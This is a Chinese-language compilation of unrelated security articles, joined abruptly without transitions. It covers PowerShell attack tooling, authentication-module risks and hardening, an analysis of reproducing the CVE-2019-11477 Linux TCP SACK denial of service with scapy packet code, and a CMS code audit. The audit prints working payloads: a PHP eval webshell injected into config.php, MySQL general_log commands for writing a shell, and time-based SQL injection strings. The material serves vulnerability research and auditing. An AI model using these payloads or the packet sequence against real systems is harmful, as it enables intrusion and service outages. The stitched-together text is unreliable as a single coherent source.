windows management 的功能。
另一面是 "不能限制 PowerShell"，因为有其他方法可以限制攻击者执行 PowerShell 代码而无需限制 PowerShell.exe
的运行。可通过 AppLocker 配置 PowerShell 的保护限制。另外 ，将 Powershell
设置为受限的语言模式的这个方法还有待测试。如果要想了解更多此类信息，可以查看后面的章节"限制 PowerShell 的能力"。
PowerShell = System.Management.Automation.dll
应用程序可以执行 PowerShell 代码
“PowerShell ps = PowerShell.Create()”
Ben Ten’s AwesomerShell
**无需 PowerShell.exe 执行 PS 命令**
PowerShell v2:
"提供了用于创建管道命令以及同步或异步调用运行空间内的命令的方法。此类还提供了调用命令时生成的且包含数据的输出流的访问。此类主要用于宿主应用程序以编程方式使用
Windows PowerShell 执行任务。在 Windows PowerShell 2.0 中，介绍了此类。
创建引用了 Powershell System.Automation.dll 程序集的 C# 应用程序。
利用 Automation 程序集的功能执行 PowerShell 代码。
类似于 PowerShell.exe 的工作方式。
由 Lee Christensen 提出的非托管的 PowerShell 是大多数 PowerShell 攻击工具在脱离 powershell.exe
就能执行 PowerShell 代码的基础。这种方式在非托管进程的 PowerShell 中启动 .NET 并且在内存中加载并执行自定义的 C# 程序集。
自 2016 年 3 月起，Metasploit PowerShell 模块就是利用了非托管的 PowerShell。
另一种利用非托管的 PowerShell 的 PS 项目是 P0wnedShell ，这是一款 "PowerShell 运行空间后期漏洞利用工具包"。它在
powershell 运行空间环境 (.NET)内运行 PowerShell 命令和函数，并且包含了许多 PowerShell 攻击工具，其中包括
PowerSploit，PowerCat，Inveigh，Nishang等等，这些攻击工具都包含在一个单一的可执行文件中。
这个项目还提供了一个简单的 PowerShell
攻击工具执行示例——“数字排序”用于简单的执行PS攻击工具。我将它重命名为"Calc.exe"，我从来没有见到运行 Calc 就使用了超过几 MB 的
RAM，当我使用 Mimikatz 执行它时，"Calc" 竟然使用了大于 180 MB的内存。
本文参考来源于adsecurity，如若转载，请注明来源于嘶吼： http://www.4hou.com/technology/3134.html | 社区文章 |
# 1 用户认证模块功能介绍
## 1.1 注册
就是在系统里创建一个新账号，目前常见的方式用户名注册、邮箱注册、手机号中注册，因国情的原因，部分系统在注册过程需做实名验证，一般注册的最后一步是补充个人信息。另外有些系统在用户注册完后需要管理员审核，完成审核一步才算正式注册完成。
部分系统在注册之前会提示使用协议，同意协议才能进行注册。
## 1.2 登录
已注册用户进入系统的认证过程，可能是输入用户名和密码，输入用户名密码、密码和验证码的过程。
## 1.3 密码找回
通过验证邮箱和手机号的方式找回密码，早期的应用一般通过验证问题找回密码，验证问题容易忘，现在很少用了。
## 1.4 会话控制
HTTP 是无状态的协议，成功登录后系统跟浏览器生成一个同样的会话字符串，用于判断当前请求是否来自已登录的那个用户，用户退出后需要注销当前会话。
## 1.5 权限控制
一般系统存在管理员、普通用户、业务员账户、审计账户等不同权限的账户，在系统设计阶段有权限矩阵实现控制，分为水平权限和垂直权限。
## 1.6 日志
账户的登录情况进行记录，通常包含时间、登录账户名、源IP、登录结果。
## 1.7 账户注销
《信息安全技术 个人信息安全规范》推出后，要求系统有注销账户的功能，删除账户相关的所有信息。
# 2 用户认证模块风险
在用户认证模块有几个通用的安全措施，实施不当可导致安全措施失效的风险
## 2.1 图形验证码
简单的图形验证码完全不安全，一般的图像 OCR 识别，可以识别大部分的字母和数字，现在 AI 的图像识别技术基本可以达到 99%
以上的识别率，目前成本也比较低，另外有人工的打码平台可以处理一些复杂的验证码。图形验证码的风险一般有：
* 验证码易识别
* 服务端返回验证码明文
* 验证码复用/固定
* 空验证码
* 无效验证，任意验证码可用
* 客户端生成验证码
* 设计缺陷，逻辑绕过
* <http://bugs.boomeye.com/bug_detail.php?wybug_id=wooyun-2012-014563>
## 2.2 短信验证码
强认证的三个因素：知道什么，有什么，是什么。短信验证码属于有什么的范围，结合密码（知道什么），实现强认证。短信验证码通过短信接口/网关实现，有一定的成本，在实际实现上跟图形验证码有些不同，短信验证码发风险：
* 验证码爆破
* 短信接口滥用
* 服务端返回验证码明文
* 无效验证
* 客户端验证绕过
* 验证码与手机号未绑定
* 手机号复用
* 短信验证码泄露
## 2.3 注册风险
注册过程通常是多步骤过程，涉及用户的输入验证以及注册过程的逻辑安全问题。常见风险：
* SQLi
* XSS
* 批量注册
* 有效用户名猜解
* 注册流程跳跃
* 弱密码注册
* 中间人攻击
* GET 请求提交参数
## 2.4 登录风险
登录过程比较简单，登录涉到未使用加密传输导致的中间人攻击、拦截流量等攻击，会泄露登录信息。常见漏洞：
* SQLi
* XSS
* 暴力破解
* 扫号
* 撞库
* 详细的报错信息（用户名猜解）
* 用户名枚举
* 中间人攻击
* GET 请求提交参数
用户名猜解是可以猜用户名，如中国常用名 Top 500；用户名枚举是指有固定顺序的用户名，如工卡号。
## 2.5 密码找回风险
有4种找回密码的方式以及相关风险：
1. 使用“记住问题”找回；
* 问题泄露，问题容易猜出
* 社会工程学攻击
2. 使用邮箱找回；
* 找回邮箱无验证，可以向任意邮箱发送验证
* 邮箱直接发送明文原密码（后台明文存密码）
* 邮箱修改密码链接可以修改用户 ID、登录账号等信息（直接明文或做了简单编码或哈希）
* 越权修改其他用户密码
3. 使用手机号找回；
* 手机验证码爆破
* 短信接口滥用
* 未验证手机号有效性
* 越权修改其他用户密码
4. 客服找回
* 社工
## 2.6 会话管理风险
常见风险如下：
1. 登录前后会话不变
2. 会话有效时间超长，2小时以上，看业务情况
3. 修改密码不清除会话
4. 退出登录状态后，服务端不销毁会话
5. Cookie 注入
6. Cookie 未设置安全属性
## 2.7 个人资料管理风险
个人资料管理的页面，一般都有修改个人资料（如：修改住址、邮箱、手机号等）的功能，常见风险有：
1. SQLi
2. 存储型 XSS
3. 上传漏洞
4. 越权查看和修改其他用户资料
## 2.8 权限控制风险
2 种：
* 水平越权（同权限的不同用户）
* 垂直越权（不同权限的不同用户，如管理员和普通用户）
发现越权的方式，常见修改需改用户 ID 类的数值，另外可以测试2个用户不同的 UUID，使用其他用户的 UUID 测试越权行为。
# 3 认证模块安全措施
## 3.1 通用安全措施
* 认证功能使用加密通讯，禁用不安全的方法和协议（TLS 1.1 以上）；
* 设置一致的密码强度验证功能，告警用户设置弱密码或者连续 n 次内使用的相同密码；
* 密码加盐哈希保存，不在数据库存储明文密码；
* 密码设置更新周期。
## 3.2 图形验证码加固
图形验证码是常见和成本最低的防护措施，可用于防登录爆破、防自动化爬虫、防
* 图形验证码加固方法
* 字体扭曲
* 字体粘连
* 字体镂空
* 字体混用
* 主体干扰线
* 背景色干扰
* 背景字母干扰
* 计算验证码
* 逻辑验证码
* 交互型验证码
* 滑块
* 选择图形
* 2 次验证
* 语音验证
## 3.3 短信验证码加固
考虑短信验证码的风险，短信验证码通常是使用短信接口实现，关于 API 的防护策略可以通用。短信验证码防护措施主要有：
* 使用图形验证码，防止接口滥用
* 限制发送频率
* 限制发送次数，可以限制一定时间段的总次数
* 短信验证码长度和有效期控制
## 3.4 安全注册流程设计
注册根据实际业务情况进行设计，要避免上面说的注册风险，又要满足业务的需求，考虑国内的应用有实名制的需求，可以在注册过程加入实名验证的流程。
举个注册过程的例子：
1. 首先验证注册用户邮箱，确认用户可用的邮箱地址；
2. 验证用户手机号，验证用户邮箱和手机号的过程可以在用户账号发生异常时进行告警提示
3. 验证完邮箱和手机号后，接着实际注册信息，如设置用户名、密码等
4. 最后一步填写个人其他信息，如性别、生日等信息。
如果需要进行实名认证，可以在认证完手机号之后进行，需要填写身份证信息和上传身份证照片，或者调用实名认证接口实现。这种多阶段的注册流程，需要在每一步骤都验证之前用户提交的信息是否有被篡改。
这么设计有几个好处：
* 使用邮箱和手机号验证能防止自动化注册；
* 用户注册完后就能获取注册用户有效联系方式，如果系统设计了账号异常检测功能，检测到账号异常后可以直接给用户发送告警；
* 登录可以使用邮箱或手机号方式，防止遗忘帐户名。
安全注册流程可以在源头上防止“薅羊毛”的攻击，可以结合安全情报直接屏蔽一部分手机号的注册。
## 3.5 登录安全
根据业务重要程度可以设置 4 种登录方式：
* 用户名、密码、（验证码）登录，考虑到用户体验，可以在用户输入密码几次错误后再启用验证码；
* 手机号、手机验证码登录；
* 用户名、密码、手机验证码登录
* 用户名、密码、证书登录
根据实际安全需求选择合适的登录方式。
可以实施的安全措施：
* 设置用户业务认证登录策略，限定失败登录次数（按账户、IP、设备）、锁定时间、解锁方式
* 在异常登录行为发生后，可以支持用户主动通过其他方式（如电话）冻结账号功能
* 如果是移动设备，使用自定义的随机键盘，启用移动 OS 的防截图功能；
* 设置用户业务认证登录失败提醒策略，当用户登录失败超过限定次数时发送短信
* 设置用户不在常用登录地址的提请功能
* 提醒用户在不同终端登录的情况
* 根据业务重要情况，可以增加登录提醒功能
## 3.6 密码找回安全
主要有 2
种方式找回密码，通过邮箱和通过手机号，最早还有通过验证问题找回的，现在应用比较少用了。通过邮箱找回，找回的链接不要出现跟身份相关的信息，包括一些编码问题。通过手机号找回，主要防止爆破。
验证完邮箱或手机号后，需要重新设置密码，判断邮箱或手机号跟账号的关联性，身份使用后台的数据，只从前端获取用户修改的密码，也可以通过提醒功能通知用户账户密码做了变更。
## 3.7 会话管理安全
会话管理有主要防御前面说的风险：
1. 根据实际业务需求确定是否允许同一账户同时有不同的会话；
2. 账户在修改密码后销毁当前全部跟这个账户关联的会话；
3. 账户超时时间的设置；
4. 退出登录后，服务端立即销毁会话；
5. 设置 Cookie 的 http only 属性；
6. 检查 Cookie 参数输入。
## 3.8 个人资料管理安全
对用户输入的资料进行严格控制，如身份证号、电话号、邮箱等位置使用严格的正则表达式匹配实现；对用户输入的字符串进行检查，对输出的字符进行净化；根据会话返回用户个人资料信息，防止越权；采用防止上传漏洞的防御措施等。
这部分用户输入或修改的内容较多，很常见出现 XSS 漏洞和上传漏洞，，记住所有用户的输入都不可信，采取必要的防护措施。
## 3.9 权限管理
在设计阶段做好权限表，权限管理完全由后台实现，不从用户获取任何关于权限控制的参数。
## 3.10 日志
应配置日志功能，对用户登录和退出活动进行记录，登录日志内容至少包括用户登录使用的账号，使用的 IP 地址，登录时间，以及远程登录时， 登录是否成功；
对用户的重要操作进行记录，如修改密码、找回密码、修改通讯方式等；
可以对用户的重要业务操作进行记录。
可以通过对日志的自动审计发现各种违规和异常行为，如连续失败的登录、异常地点或 IP 的登录、非常规时间的登录等。
# 4 Oauth 2.0 认证和风险
严格参考 Oauth 2.0 的要求不会有安全问题，有安全问题的都是接收用户输入的参数。 | 社区文章 |
**作者：Hcamael@知道创宇 404 实验室**
**时间：2019 年 6 月 26 日**
**英文版本：<https://paper.seebug.org/967/>**
# 前言
上周Linux内核修复了4个CVE漏洞[1]，其中的CVE-2019-11477感觉是一个很厉害的Dos漏洞，不过因为有其他事打断，所以进展的速度比较慢，这期间网上已经有相关的分析文章了。[2][3]
而我在尝试复现CVE-2019-11477漏洞的过程中，在第一步设置MSS的问题上就遇到问题了，无法达到预期效果，但是目前公开的分析文章却没对该部分内容进行详细分析。所以本文将通过Linux内核源码对TCP的MSS机制进行详细分析。
# 测试环境
##### 1\. 存在漏洞的靶机
操作系统版本：Ubuntu 18.04
内核版本：4.15.0-20-generic
地址：192.168.11.112
内核源码：
$ sudo apt install linux-source-4.15.0
$ ls /usr/src/linux-source-4.15.0.tar.bz2
带符号的内核：
$ cat /etc/apt/sources.list.d/ddebs.list
deb http://ddebs.ubuntu.com/ bionic main
deb http://ddebs.ubuntu.com/ bionic-updates main
$ sudo apt install linux-image-4.15.0-20-generic-dbgsym
$ ls /usr/lib/debug/boot/vmlinux-4.15.0-20-generic
关闭内核地址随机化（KALSR）：
# 内核是通过grup启动的，所以在grup配置文件中，内核启动参数里加上nokaslr
$ cat /etc/default/grub |grep -v "#" | grep CMDLI
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr"
GRUB_CMDLINE_LINUX=""
$ sudo update-grub
装一个nginx，供测试：
$ sudo apt install nginx
##### 2\. 宿主机
操作系统：MacOS
Wireshark：抓流量
虚拟机：VMware Fusion 11
调试Linux虚拟机：
$ cat ubuntu_18.04_server_test.vmx|grep debug
debugStub.listen.guest64 = "1"
编译gdb：
$ ./configure --build=x86_64-apple-darwin --target=x86_64-linux --with-python=/usr/local/bin/python3
$ make
$ sudo make install
$ cat .zshrc|grep gdb
alias gdb="~/Documents/gdb_8.3/gdb/gdb"
gdb进行远程调试：
$ gdb vmlinux-4.15.0-20-generic
$ cat ~/.gdbinit
define gef
source ~/.gdbinit-gef.py
end
define kernel
target remote :8864
end
##### 3\. 攻击机器
自己日常使用的Linux设备就好了
地址：192.168.11.111
日常习惯使用Python的，需要装个scapy构造自定义TCP包
# 自定义SYN的MSS选项
有三种方法可以设置TCP SYN包的MSS值
##### 1\. iptable
# 添加规则
$ sudo iptables -I OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48
# 删除
$ sudo iptables -D OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48
##### 2\. route
# 查看路由信息
$ route -ne
$ ip route show
192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100
# 修改路由表
$ sudo ip route change 192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100 advmss 48
# 修改路由表信息就是在上面show的结果后面加上 advmss 8
##### 3\. 直接发包设置
PS：使用scapy发送自定义TCP包需要ROOT权限
from scapy.all import *
ip = IP(dst="192.168.11.112")
tcp = TCP(dport=80, flags="S",options=[('MSS',48),('SAckOK', '')])
flags选项S表示`SYN`，A表示`ACK`，SA表示`SYN, ACK`
scapy中TCP可设置选项表：
TCPOptions = (
{
0 : ("EOL",None),
1 : ("NOP",None),
2 : ("MSS","!H"),
3 : ("WScale","!B"),
4 : ("SAckOK",None),
5 : ("SAck","!"),
8 : ("Timestamp","!II"),
14 : ("AltChkSum","!BH"),
15 : ("AltChkSumOpt",None),
25 : ("Mood","!p"),
254 : ("Experiment","!HHHH")
},
{
"EOL":0,
"NOP":1,
"MSS":2,
"WScale":3,
"SAckOK":4,
"SAck":5,
"Timestamp":8,
"AltChkSum":14,
"AltChkSumOpt":15,
"Mood":25,
"Experiment":254
})
但是这个会有一个问题，在使用Python发送了一个SYN包以后，内核会自动带上一个RST包，查过资料后，发现在新版系统中，对于用户发送的未完成的TCP握手包，内核会发送RST包终止该连接，应该是为了防止进行SYN
Floor攻击。解决办法是使用iptable过滤RST包：
$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.11.111 -j DROP
# 对于MSS的深入研究
关于该漏洞的细节，别的文章中已经分析过了，这里简单的提一下，该漏洞为uint16溢出：
tcp_gso_segs 类型为uint16
tcp_set_skb_tso_segs:
tcp_skb_pcount_set(skb, DIV_ROUND_UP(skb->len, mss_now));
skb->len的最大值为17 * 32 * 1024
mss_now的最小值为8
>>> hex(17*32*1024//8)
'0x11000'
>>> hex(17*32*1024//9)
'0xf1c7'
所以在mss_now小于等于8时，才能发生整型溢出。
深入研究的原因是因为进行了如下的测试：
攻击机器通过`iptables/iproute`命令将MSS值为48后，使用curl请求靶机的http服务，然后使用wireshark抓流量，发现服务器返回的http数据包的确被分割成小块，但是只小到36，离预想的8有很大的差距
这个时候我选择通过审计源码和调试来深入研究为啥MSS无法达到我的预期值，SYN包中设置的MSS值到代码中的mss_now的过程中发生了啥？
随机进行源码审计，对发生溢出的函数`tcp_set_skb_tso_segs`进行回溯：
tcp_set_skb_tso_segs <- tcp_fragment <- tso_fragment <- tcp_write_xmit
最后发现，传入tcp_write_xmit函数的mss_now都是通过tcp_current_mss函数进行计算的
随后对`tcp_current_mss`函数进行分析，关键代码如下：
# tcp_output.c
tcp_current_mss -> tcp_sync_mss:
mss_now = tcp_mtu_to_mss(sk, pmtu);
tcp_mtu_to_mss:
/* Subtract TCP options size, not including SACKs */
return __tcp_mtu_to_mss(sk, pmtu) - (tcp_sk(sk)->tcp_header_len - sizeof(struct tcphdr));
__tcp_mtu_to_mss:
if (mss_now < 48)
mss_now = 48;
return mss_now;
看完这部分源码后，我们对MSS的含义就有一个深刻的理解，首先说一说TCP协议：
TCP协议包括了协议头和数据，协议头包括了固定长度的20字节和40字节的可选参数，也就是说TCP头部的最大长度为60字节，最小长度为20字节。
在`__tcp_mtu_to_mss`函数中的`mss_now`为我们SYN包中设置的MSS，从这里我们能看出MSS最小值是48，通过对TCP协议的理解和对代码的理解，可以知道SYN包中MSS的最小值48字节表示的是：TCP头可选参数最大长度40字节
+ 数据最小长度8字节。
但是在代码中的mss_now表示的是数据的长度，接下来我们再看该值的计算公式。
tcphdr结构：
struct tcphdr {
__be16 source;
__be16 dest;
__be32 seq;
__be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
__be16 window;
__sum16 check;
__be16 urg_ptr;
};
该结构体为TCP头固定结构的结构体，大小为20bytes
变量`tcp_sk(sk)->tcp_header_len`表示的是本机发出的TCP包头部的长度。
因此我们得到的计算mss_now的公式为：SYN包设置的MSS值 - (本机发出的TCP包头部长度 - TCP头部固定的20字节长度)
所以，如果`tcp_header_len`的值能达到最大值60，那么mss_now就能被设置为8。那么内核代码中，有办法让`tcp_header_len`达到最大值长度吗？随后我们回溯该变量：
# tcp_output.c
tcp_connect_init:
tp->tcp_header_len = sizeof(struct tcphdr);
if (sock_net(sk)->ipv4.sysctl_tcp_timestamps)
tp->tcp_header_len += TCPOLEN_TSTAMP_ALIGNED;
#ifdef CONFIG_TCP_MD5SIG
if (tp->af_specific->md5_lookup(sk, sk))
tp->tcp_header_len += TCPOLEN_MD5SIG_ALIGNED;
#endif
所以在Linux
4.15内核中，在用户不干预的情况下，内核是不会发出头部大小为60字节的TCP包。这就导致了MSS无法被设置为最小值8，最终导致该漏洞无法利用。
# 总结
我们来总结一下整个流程：
1. 攻击者构造SYN包，自定义TCP头部可选参数MSS的值为48
2. 靶机（受到攻击的机器）接收到SYN请求后，把SYN包中的数据保存在内存中，返回SYN，ACK包。
3. 攻击者返回ACK包
三次握手完成
随后根据不同的服务，靶机主动向攻击者发送数据或者接收到攻击者的请求后向攻击者发送数据，这里就假设是一个nginx http服务。
~~1\. 攻击者向靶机发送请求：`GET / HTTP/1.1`。~~
~~2\.
靶机接收到请求后，首先计算出`tcp_header_len`，默认等于20字节，在内核配置`sysctl_tcp_timestamps`开启的情况下，增加12字节，如果编译内核的时候选择了`CONFIG_TCP_MD5SIG`，会再增加18字节，也就是说`tcp_header_len`的最大长度为50字节。~~
~~3\. 随后需要计算出mss_now = 48 - 50 + 20 = 18~~
~~这里假设一下该漏洞可能利用成功的场景：有一个TCP服务，自己设定了TCP可选参数，并且设置满了40字节，那么攻击者才有可能通过构造SYN包中的MSS值来对该服务进行Dos攻击。~~
~~随后我对Linux
2.6.29至今的内核进行审计，mss_now的计算公式都一样，`tcp_header_len`长度也只会加上时间戳的12字节和md5值的18字节。~~
\----- 2019/07/03 UPDATE -----
经过@riatre大佬的指正，我发现上述我对`tcp_current_mss`函数的分析中漏了一段重要的代码：
# tcp_output.c
tcp_current_mss -> tcp_sync_mss:
mss_now = tcp_mtu_to_mss(sk, pmtu);
header_len = tcp_established_options(sk, NULL, &opts, &md5) +
sizeof(struct tcphdr);
if (header_len != tp->tcp_header_len) {
int delta = (int) header_len - tp->tcp_header_len;
mss_now -= delta;
}
在`tcp_established_options`函数的代码中，除了12字节的时间戳，20字节的md5，还有对SACK长度的计算，在长度不超过tcp可选项40字节限制的前提下，公式为：`size
= 4 + 8 * opts->num_sack_blocks`
eff_sacks = tp->rx_opt.num_sacks + tp->rx_opt.dsack;
if (unlikely(eff_sacks)) {
const unsigned int remaining = MAX_TCP_OPTION_SPACE - size;
opts->num_sack_blocks =
min_t(unsigned int, eff_sacks,
(remaining - TCPOLEN_SACK_BASE_ALIGNED) /
TCPOLEN_SACK_PERBLOCK);
size += TCPOLEN_SACK_BASE_ALIGNED +
opts->num_sack_blocks * TCPOLEN_SACK_PERBLOCK;
}
所以凑齐40字节的方法是：12字节的时间戳 + 8 * 3(opts->num_sack_blocks)
变量`opts->num_sack_blocks`表示从对端接受的数据包中丢失的数据包数目
所以在这里修改一下总结中后三步的过程：
1. 攻击者向靶机发送一段正常的HTTP请求
2. 靶机接收到请求后，会发送HTTP响应包，如上面的wireshark截图所示，响应包会按照36字节的长度分割成多分
3. 攻击者构造序列号带有缺漏的ACK包（ACK包需要带一些数据）
4. 服务器接收到无序的ACK包后，发现产生了丢包的情况，所以在后续发送的数据包中，都会带上SACK选项，告诉客户端，那些数据包丢失，直到TCP链接断开或者接收到响应序列的数据包。
效果如下图所示:
因为算上时间戳，TCP SACK选项里最多只能包含3段序列编号，所以只要发送4次ACK包，就能把MSS设置为8。
部分scapy代码如下：
data = "GET / HTTP/1.1\nHost: 192.168.11.112\r\n\r\n"
ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1)
ACK.options = [("NOP",None), ("NOP",None), ('Timestamp', (1, 2))]
send(ip/ACK/data)
dl = len(data)
test = "a"*10
ACK.seq += dl + 20
ACK.ack = SYNACK.seq+73
send(ip/ACK/test)
ACK.seq += 30
ACK.ack = SYNACK.seq+181
send(ip/ACK/test)
ACK.seq += 30
ACK.ack = SYNACK.seq+253
send(ip/ACK/test)
因为现在已经能满足mss_now=8的前提，后续将会对该漏洞进行进一步的分析。
# 参考
1. <https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md>
2. <https://paper.seebug.org/959/>
3. <https://paper.seebug.org/960/>
* * * | 社区文章 |
# 环境搭建：
首先我们来分析该系统的路由信息，以及如何进行参数的构造。
# 路由分析：
该系统有两个路由，一是前台功能点路由，二后台功能点路由，但两个路由代码类似只不过后台路由添
加了session校验，我们先来看看前台路由是怎么构造的。
前台路由放在api.php文件中。
**
在common.php中22行代码处中调用__autoload() 魔术方法来加载 Model 文件夹下的功能代码，方便后续路由的调用。在代码30行去除
get_magic_quotes_gpc() 方法对特殊字符加载的反斜杠，这可能是为了代码的兼容性。**
代码5、6两行传入两个参数 ctrl 、 action ,第7行代码其实就是将 action 传过来的参数首字母转换为
大写，因为类名首字母都是大写的，第8行判断该类是否为 Api 或 Comment。
后台路由代码 admin.php 文件与前台路由代码基本类似，只是在上面添加了session校验，检测是否为
登录状态。
# 漏洞审计
## 1.任意文件读取/下载
通过上面的路由信息我们知道功能点文件存放在Model文件夹下，我们去翻找Model文件夹发现
file.php 文件也就是File这个类下存在一个 download() 方法。
在这个类中的第85行代码处，我们一目了然的看到了 file_get_contents() 函数，看到这个函数想要
利用，我们会下意思的想到两个点：第一该函数的参数是否可控；第二该函数是没有回显的，如果想要
利用是需要使用 echo 等函数配合。我们只需要查看这里file_get_contents() 中参数是否可控就可以了。
### 漏洞复现：
由于在上面我们已经分析过路由的构造，所以我们可以不用特意去找功能点就能构造出利用路由。
在路由中 action 传入的是我们要实例化的类名 file ， ctrl 则对应我们需要调用的方法 download 。
## 2.任意文件上传
首先我们去创建一个.php后缀的文件
通过这里我们发现 executeupload() 方法中调用了Upload类下的 upload() 方法，这里的上传主要调
用了upload()方法，我们主要去看下他是如何进行过滤的。
在该方法的最上面定义了 $upext 变量，这里包含了可以上传的后缀名，也就是白名单，大致看了这些
后缀没有可利用的。然后下面通过 $_FILES 接收上传文件，通过 pathinfo() 获取上传文件名。
关键在于代码106行通过 [extension] 获取后缀名，然后到代码107行进行正则匹配如果上传的文件名
不在 $upext 白名单中，则返回下面的提示信息。
这里上传是走不通的，但是在上传的右边有一个创建文件的功能点，我们发现这里竟然没有限制可以上
传任意文件，
在 create() 方法中，首先接收文件名 name ，然后通过 isdir 来判断创建的是目录还是文件，然后分别做不同的操作进行创建。
然后我们在看看他是如何进行文件写入的，其实下面的功能点就可以直接写入文件内容，
其实这里写入内容的代码也在 File 这个类中，在 save() 方法中只是对该文件是否具有写入权限进行判
断，就直接将内容写入到文件中。
### 漏洞复现：
## 3.mysql日志文件getshell
在Sql类下的 excute() 方法，依旧的简洁明了。通过14行传入 $sqltext 参数也就是我们的SQL语句，
在15行实例化 Dbclass 类调用其中 query() 方法直接执行SQL语句。最后18行将我们SQL语句结果进行
打印输出。
### 漏洞复现：
MySQL日志文件getshell
Mysql 5.6.34版本以后无法通过into outfile、into dumpfile进行文件写入
我们通过日志文件写shell即可
set global general_log = on;
set global general_log_file = '网站绝对路径';
## 4.通过修改配置文件getshell
在后台有这么一个 网站设置 功能点,大致一看这里的内容和config.php文件中内容是一致的
首先我们去查看代码该功能点代码，这里调用 upload() 方法，第53行直接判断config.php是否可写，
然后通过POST接收参数，但是这里参数值会被57行代码处的 safeword() 方法进行过滤，跟进该方法看
看是如何对输入内容进行过滤的。
在 safeword() 方法中需要传入两个参数，一个是需要过滤的字符串，另一个参数则决定走哪个case。
上面没有给出第二个参数则直接走默认level,也就是154行下面的代码，在155行判断了数据库类型是否
为 Sqlite 是的话执行Sqlite的过滤代码，如果不是则走158行的else，，调用 Base::_addslashs() 方
法,跟进该方法。
将传入的字符通过 addslashes() 函数将特殊字符添加反斜杠，无法绕过限制。
所以我们只能走上面的if条件，这里只要数据库为 Sqlite ，下面的单引号会被替换为两个单引号(当时以
为将单引号替换为双引号了)，而这个替换方式是可以被绕过的。
然后我们返回 upload() 方法的第60行，直接将过滤后的内容通过 file_put_contents() 写入到
config.php中。
通过分析源码，我们知道输入的单引号会替换为两个双引号，如果我们输入 \' 这样在替换为两个双
引号的时候第一个双引号前会有一个反斜杠，那么我们就可以闭合前面的双引号，我们的PHP代码就能
逃逸出来。我们的payload可以构造为：
\');@eval($_REQUEST[1]);/*
## 5.缓存文件getshell
我们在搜索危险函数的时候发现一处很有可能getshell的地方，我们先看这里的$arrayData是否可控。
这里代码37行的 $o 也就是对应代码49行的 $cat 数组中的内容是从数据库中 cms_category
表中获取的。那么如果这里表中的内容是我们可以控制的那么就能写入任意内容。
我们去看下该表中的内容
从数据内容可以看出这里的功能点其实就是 管理栏目 中的内容，这里就可以添加内容。
这里通过 columsdata() 接收参数，然后通过 add_one() 进行数据插入这里还是通过 safeword() 进行数据的过滤的，但是这里的
safeword() 方法在后续并没有起到过滤的效果。
通过搜索该文件可以发现有好几处包含了该模板文件，所以我们这里就可以通过写入缓存文件getshell。
cat_array.inc 文件内容如下
然后我们访问刚才包含该文件的路由
## 6.sql注入
直接先进入admin.php和index.php
可以通过函数名和语义分析出是根据一些变量或者一些路径来渲染，加载模板文件，随后回显到前端。
再看admin.php，发现存在action参数和ctrl参数。
发现有两个方法，class_exists和method_exists，这两个函数是判断是否存在类和方法的，接下if内的语句判断，指导action是类名，ctrl是函数名，有点像路由
搜索发现处理数据库请求的类为cms方法为lists
跟进该方法。
发现有过滤函数对变量进行了一些过滤处理。
发现对输入也做了处理。
### 注入点存在处
最后找到几个未过滤的函数方法：delist、getquery、updatelist、get_one、getlist
那就值针对这几个方法看
审计开始
先看第一个函数delist，看到有三个文件有这三个函数，先看第一个
### delist
Article类
看到传入的参数有表名、参数id，以及where参数，用于筛选匹配数据
在后台管理系统中没看到该模块的调用，然后看CMS类的时候发现CMS继承了Article类，所以看CMS类就好了
Category
这里可以看到仍然没有对id进行过滤，直接使用sleep(5)延时，所以返回时间没啥变化。
测试bool盲注，对语句进行拼接，看参数知道是id
payload：27) or 1=1#
采用延时确认，发现成功延时12s，我们的语句写的是4s，说明经历了三次注入。
这里payload使用--+是失败的，还是需要用#号，不是很明白
直接上sqlmap，注入出当前user，使用的一些参数
-v 3 --level 5 --risk 3 --random-agent --current-user --technique T --dbms mysql -p id
继续跟进代码，看看为什么产生了三次延时，看看createtag方法
可以看到传参值也是id，而id在加入sql语句前也没有进行安全处理，只针对tags参数进行过滤，但是我们这个删除执行很明显没有传递tag参数，所以走的是下面的else语句，成功拼接到语句中，根据之前阅读的方法知道，delist、getquery、updatelist、get_one、getlist这几个函数中没有对输入值进行过滤，执行我们的payload。
这里有两条语句都拼接了所以一共延时了3次
### getquery参数处
没有找到合适的调用方法，所以接着看下一个参数。
updatelist
category
看到这里的调用，发现是经过这个add_one处理过的，不是传参的那个status
add_one处理POST传输的数据，对数据了过滤转义，然后返回值，所以不存在注入
而在update函数中，没有进行数据数据过滤处理，有可能存在注入
payload：1) or sleep(4)#getlist
### getlist参数处
category
根据参数知道id对应的参数为$where参数，对应的同样没有过滤，直接打入payload
延时4s
Admin
全局搜索getlis，在admin.php中找到edit方法存在getlist的调用，并且能够可控参数
那么直接抓包修改id值，注意不能用or，我用or这个payload打的时候没触发sleep()函数，因为or是代表或的意思，而这里id=2,2是存在的，所以就不执行sleep函数，就像命令中的“||”符号。所以用and直接一起执行。
payload：2 and sleep(5)%23
执行成功，直接延时5s
Category
可以看到也是继承的Article，注入位置也是相同的
payload:1 or sleep(5)%23
Cms
筛选到cms类中的updateurl方法存在该函数调用，分析前后发现$addsql参数是由$id参数组合而成的，那么也很明显的存在注入，id没有经过处理。
延时成功
lists方法也存在注入点，继续发现getlist语句的参数由$addsql控制，而该参数能够拼接，发现name参数被用安全方法过滤了危险字符，所以主要看cat和status参数。，在save方法。
这个方法我一直想知道在哪个地方调用，我是用ctrl调用也不行，然后发现他是通过传参调用的，在save方法找到该方法的调用。
读源码的时候发现这个tags参数进行了safeword过滤，但是等级只有3级，没有用最高级的，所以没有对输入做到完全过滤的方法，tags还是能进行注入
